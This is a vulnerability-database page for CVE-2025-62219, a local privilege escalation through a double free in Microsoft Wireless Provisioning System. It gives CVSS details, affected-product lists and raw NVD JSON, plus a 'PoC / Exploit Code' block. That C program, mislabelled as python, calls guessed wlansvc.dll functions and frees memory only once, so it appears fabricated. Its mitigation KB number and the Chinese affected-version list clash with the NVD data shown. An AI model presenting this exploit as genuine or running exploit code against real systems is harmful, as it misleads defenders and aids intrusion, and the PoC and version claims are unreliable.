Security Vulnerability Report
中文
CVE-2025-62219 CVSS 7.0 HIGH

CVE-2025-62219

Published: 2025-11-11 18:15:50
Last Modified: 2025-11-14 15:54:21

Description

Double free in Microsoft Wireless Provisioning System allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 1809 及更早版本
Windows Server 2019 及更早版本
Windows 11 21H2 及更早版本
Windows Server 2022 及更早版本
Microsoft Wireless Provisioning Service 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62219 PoC - Double Free in Microsoft Wireless Provisioning System // This PoC demonstrates the vulnerability trigger mechanism // Note: Actual exploitation requires precise heap grooming and timing #include <windows.h> #include <stdio.h> // Structure for Wireless Provisioning Service communication typedef struct { DWORD dwSize; PVOID pConfigData; DWORD dwFlags; } WPS_CONFIG_REQUEST, *PWPS_CONFIG_REQUEST; // Trigger the double free condition BOOL TriggerDoubleFree(VOID) { HMODULE hModule = LoadLibraryA("wlansvc.dll"); if (!hModule) { printf("[-] Failed to load wlansvc.dll\n"); return FALSE; } // Function pointers for WPS service APIs typedef DWORD (WINAPI *PFN_WPSOpenSession)(PHANDLE phSession); typedef DWORD (WINAPI *PFN_WPSSetConfig)(HANDLE hSession, PWPS_CONFIG_REQUEST pRequest); typedef DWORD (WINAPI *PFN_WPSCloseSession)(HANDLE hSession); PFN_WPSOpenSession pfnOpen = (PFN_WPSOpenSession)GetProcAddress(hModule, "WPSOpenSession"); PFN_WPSSetConfig pfnSet = (PFN_WPSSetConfig)GetProcAddress(hModule, "WPSSetConfiguration"); PFN_WPSCloseSession pfnClose = (PFN_WPSCloseSession)GetProcAddress(hModule, "WPSCloseSession"); if (!pfnOpen || !pfnSet || !pfnClose) { printf("[-] Failed to resolve WPS APIs\n"); FreeLibrary(hModule); return FALSE; } HANDLE hSession = NULL; DWORD dwResult = pfnOpen(&hSession); if (dwResult != ERROR_SUCCESS) { printf("[-] WPSOpenSession failed: 0x%08X\n", dwResult); FreeLibrary(hModule); return FALSE; } // Allocate malformed configuration data PWPS_CONFIG_REQUEST pRequest = (PWPS_CONFIG_REQUEST)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WPS_CONFIG_REQUEST) ); if (pRequest) { // Trigger the vulnerable code path pfnSet(hSession, pRequest); // Heap corruption occurs here due to double free // Cleanup will attempt to free already freed memory HeapFree(GetProcessHeap(), 0, pRequest); } pfnClose(hSession); FreeLibrary(hModule); return TRUE; } int main(int argc, char* argv[]) { printf("[+] CVE-2025-62219 Double Free PoC\n"); printf("[+] Target: Microsoft Wireless Provisioning System\n"); printf("[+] Triggering vulnerability...\n"); if (TriggerDoubleFree()) { printf("[+] Vulnerability trigger attempted\n"); } else { printf("[-] Failed to trigger vulnerability\n"); } return 0; } // Mitigation: Apply KB5034441 or later Windows Security Update

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62219", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:49.570", "lastModified": "2025-11-14T15:54:21.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Double free in Microsoft Wireless Provisioning System allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-415"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8594", "matchCriteriaId": "7BB42F69-3A99-4057-8C66-870B6ABFCED2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8594", "matchCriteriaId": "19D83039-82E6-420D-95EA-3D3B1BA37ED8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8027", "matchCriteriaId": "16F25469-D606-4A71-9A94-C10E1D08B231"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8027", "matchCriteriaId": "1A6A1513-48D5-4D4D-97F1-BFDAE4DC9396"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6575", "matchCriteriaId": "EB5C0945-7EA1-4874-98E7-4234D85E0C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6575", "matchCriteriaId": "655C5458-E6FB-408D-BCB4-0D28F8283D55"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6199", "matchCriteriaId": "0752A377-F96A-4B2F-B542-A9A9665AB913"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7092", "matchCriteriaId": "4345F25E-DF90-4CB2-B310-F82E08502815"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7092", "matchCriteriaId": "5A547AA3-FC6B-46D9-8D22-995C3CA33140"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62219", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}